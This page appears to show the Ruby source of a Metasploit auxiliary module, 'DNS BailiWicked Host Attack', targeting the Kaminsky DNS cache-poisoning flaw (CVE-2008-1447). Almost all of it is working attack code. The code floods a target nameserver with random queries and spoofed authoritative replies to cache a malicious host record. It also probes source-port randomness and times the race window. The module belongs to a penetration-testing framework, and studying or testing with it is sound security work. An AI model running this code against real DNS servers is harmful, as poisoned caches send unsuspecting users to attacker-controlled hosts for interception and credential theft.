Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_host.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/dns'6require 'resolv'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Capture1011def initialize(info = {})12super(update_info(info,13'Name' => 'DNS BailiWicked Host Attack',14'Description' => %q{15This exploit attacks a fairly ubiquitous flaw in DNS implementations which16Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single17malicious host entry into the target nameserver by sending random hostname18queries to the target DNS server coupled with spoofed replies to those19queries from the authoritative nameservers for that domain. Eventually, a20guessed ID will match, the spoofed packet will get accepted, and due to the21additional hostname entry being within bailiwick constraints of the original22request the malicious host entry will get cached.23},24'Author' => [ 'I)ruid', 'hdm' ],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2008-1447' ],29[ 'OSVDB', '46776'],30[ 'US-CERT-VU', '800113' ],31[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],32],33'DisclosureDate' => '2008-07-21'34))3536register_options(37[38OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),39OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),40OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),41OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),42OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),43OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),44OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),4546])4748deregister_options('FILTER','PCAPFILE')4950end5152def auxiliary_commands53return {54"racer" => "Determine the size of the window for the target server"55}56end5758def cmd_racer(*args)59targ = args[0] || rhost()60dom = args[1] || "example.com"6162if !(targ and targ.length > 0)63print_status("usage: racer [dns-server] [domain]")64return65end6667calculate_race(targ, dom)68end6970def check71targ = rhost7273srv_sock = Rex::Socket.create_udp(74'PeerHost' => targ,75'PeerPort' => 5376)7778random = false79ports = {}80lport = nil81reps = 082831.upto(30) do |i|8485req = Resolv::DNS::Message.new86txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"87req.add_question(txt, Resolv::DNS::Resource::IN::TXT)88req.rd = 18990srv_sock.put(req.encode)91res, addr = srv_sock.recvfrom(65535, 1.0)929394if res and res.length > 095reps += 196res = Resolv::DNS::Message.decode(res)97res.each_answer do |name, ttl, data|98if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)99t_addr, t_port = $1.split(':')100101vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")102t_port = t_port.to_i103if(lport and lport != t_port)104random = true105end106lport = t_port107ports[t_port] ||=0108ports[t_port] +=1109end110end111end112113114if(i>5 and ports.keys.length == 0)115break116end117end118119srv_sock.close120121if(ports.keys.length == 0)122vprint_error("ERROR: This server is not replying to recursive requests")123return Exploit::CheckCode::Unknown124end125126if(reps < 30)127vprint_warning("WARNING: This server did not reply to all of our requests")128end129130if(random)131ports_u = ports.keys.length132ports_r = ((ports.keys.length/30.0)*100).to_i133print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")134if(ports_r != 100)135vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")136# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence137return Exploit::CheckCode::Appears138end139else140vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")141return Exploit::CheckCode::Vulnerable142end143144Exploit::CheckCode::Safe145end146147def run148check_pcaprub_loaded # Check first.149150target = rhost()151source = Rex::Socket.source_address(target)152saddr = datastore['SRCADDR']153sport = datastore['SRCPORT']154hostname = datastore['HOSTNAME'] + '.'155address = datastore['NEWADDR']156recons = datastore['RECONS']157xids = datastore['XIDS'].to_i158newttl = datastore['TTL'].to_i159xidbase = rand(20001) + 20000160numxids = xids161162domain = hostname.sub(/\w+\x2e/,"")163164srv_sock = Rex::Socket.create_udp(165'PeerHost' => target,166'PeerPort' => 53167)168169# Get the source port via the metasploit service if it's not set170if sport.to_i == 0171req = Resolv::DNS::Message.new172txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"173req.add_question(txt, Resolv::DNS::Resource::IN::TXT)174req.rd = 1175176srv_sock.put(req.encode)177res, addr = srv_sock.recvfrom()178179if res and res.length > 0180res = Resolv::DNS::Message.decode(res)181res.each_answer do |name, ttl, data|182if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)183t_addr, t_port = $1.split(':')184sport = t_port.to_i185186print_status("Switching to target port #{sport} based on Metasploit service")187if target != t_addr188print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")189end190end191end192end193end194195# Verify its not already cached196begin197query = Resolv::DNS::Message.new198query.add_question(hostname, Resolv::DNS::Resource::IN::A)199query.rd = 0200201begin202cached = false203srv_sock.put(query.encode)204answer, addr = srv_sock.recvfrom()205206if answer and answer.length > 0207answer = Resolv::DNS::Message.decode(answer)208answer.each_answer do |name, ttl, data|209210if((name.to_s + ".") == hostname)211t = Time.now + ttl212print_error("Failure: This hostname is already in the target cache: #{name}")213print_error(" Cache entry expires on #{t}... sleeping.")214cached = true215select(nil,nil,nil,ttl)216end217end218219end220end until not cached221rescue ::Interrupt222raise $!223rescue ::Exception => e224print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")225end226227res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver228229print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"230231# Look up the nameservers for the domain232print_status "Querying recon nameserver for #{domain}'s nameservers..."233answer0 = res0.send(domain, Net::DNS::NS)234#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"235236barbs = [] # storage for nameservers237answer0.answer.each do |rr0|238print_status " Got an #{rr0.type} record: #{rr0.inspect}"239if rr0.type == 'NS'240print_status " Querying recon nameserver for address of #{rr0.nsdname}..."241answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname242#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"243answer1.answer.each do |rr1|244print_status " Got an #{rr1.type} record: #{rr1.inspect}"245res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)246print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."247answer2 = res2.send(domain, Net::DNS::SOA)248if answer2 and answer2.header.auth? and answer2.header.anCount >= 1249nsrec = {:name => rr0.nsdname, :addr => rr1.address}250barbs << nsrec251print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"252end253end254end255end256257if barbs.length == 0258print_status( "No DNS servers found.")259srv_sock.close260close_pcap261return262end263264265if(xids == 0)266print_status("Calculating the number of spoofed replies to send per query...")267qcnt = calculate_race(target, domain, 100)268numxids = ((qcnt * 1.5) / barbs.length).to_i269if(numxids == 0)270print_status("The server did not reply, giving up.")271srv_sock.close272close_pcap273return274end275print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")276end277278# Flood the target with queries and spoofed responses, one will eventually hit279queries = 0280responses = 0281282283open_pcap unless self.capture284285print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")286287while true288randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname289290# Send spoofed query291req = Resolv::DNS::Message.new292req.id = rand(2**16)293req.add_question(randhost, Resolv::DNS::Resource::IN::A)294295req.rd = 1296297src_ip = source298299if(saddr == 'Random')300src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")301end302303p = PacketFu::UDPPacket.new304p.ip_saddr = src_ip305p.ip_daddr = target306p.ip_ttl = 255307p.udp_sport = (rand((2**16)-1024)+1024).to_i308p.udp_dport = 53309p.payload = req.encode310p.recalc311312capture_sendto(p, target)313314queries += 1315316# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])317req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))318req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))319req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))320req.qr = 1321req.ra = 1322323# Reuse our PacketFu object324p.udp_sport = 53325p.udp_dport = sport.to_i326327xidbase.upto(xidbase+numxids-1) do |id|328req.id = id329p.payload = req.encode330barbs.each do |barb|331p.ip_saddr = barb[:addr].to_s332p.recalc333capture_sendto(p, target)334responses += 1335end336end337338# status update339if queries % 1000 == 0340print_status("Sent #{queries} queries and #{responses} spoofed responses...")341if(xids == 0)342print_status("Recalculating the number of spoofed replies to send per query...")343qcnt = calculate_race(target, domain, 25)344numxids = ((qcnt * 1.5) / barbs.length).to_i345if(numxids == 0)346print_status("The server has stopped replying, giving up.")347srv_sock.close348close_pcap349return350end351print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")352end353end354355# every so often, check and see if the target is poisoned...356if queries % 250 == 0357begin358query = Resolv::DNS::Message.new359query.add_question(hostname, Resolv::DNS::Resource::IN::A)360query.rd = 0361362srv_sock.put(query.encode)363answer, addr = srv_sock.recvfrom()364365if answer and answer.length > 0366answer = Resolv::DNS::Message.decode(answer)367answer.each_answer do |name, ttl, data|368if((name.to_s + ".") == hostname)369print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")370print_status("TTL: #{ttl} DATA: #{data}")371close_pcap372return373end374end375end376rescue ::Interrupt377raise $!378rescue ::Exception => e379print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")380end381end382end383end384385#386# Send a recursive query to the target server, then flood387# the server with non-recursive queries for the same entry.388# Calculate how many non-recursive queries we receive back389# until the real server responds. This should give us a390# ballpark figure for ns->ns latency. We can repeat this391# a few times to account for each nameserver the cache server392# may query for the target domain.393#394def calculate_race(server, domain, num=50)395396q_beg_t = nil397q_end_t = nil398cnt = 0399400times = []401402hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain403404sock = Rex::Socket.create_udp(405'PeerHost' => server,406'PeerPort' => 53407)408409410req = Resolv::DNS::Message.new411req.add_question(hostname, Resolv::DNS::Resource::IN::A)412req.rd = 1413req.id = 1414415q_beg_t = Time.now.to_f416sock.put(req.encode)417req.rd = 0418419while(times.length < num)420res, addr = sock.recvfrom(65535, 0.01)421422if res and res.length > 0423res = Resolv::DNS::Message.decode(res)424425if(res.id == 1)426times << [Time.now.to_f - q_beg_t, cnt]427cnt = 0428429hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain430431sock.close432sock = Rex::Socket.create_udp(433'PeerHost' => server,434'PeerPort' => 53435)436437q_beg_t = Time.now.to_f438req = Resolv::DNS::Message.new439req.add_question(hostname, Resolv::DNS::Resource::IN::A)440req.rd = 1441req.id = 1442443sock.put(req.encode)444req.rd = 0445end446447cnt += 1448end449450req.id += 1451452sock.put(req.encode)453end454455min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0456max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0457sum = 0458times.each{|i| sum += i[0]}459avg_time = ( (sum / times.length) * 100).to_i / 100.0460461min_count = times.map{|i| i[1]}.min462max_count = times.map{|i| i[1]}.max463sum = 0464times.each{|i| sum += i[1]}465avg_count = sum / times.length466467sock.close468469print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")470471472# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)473avg_count474end475end476477478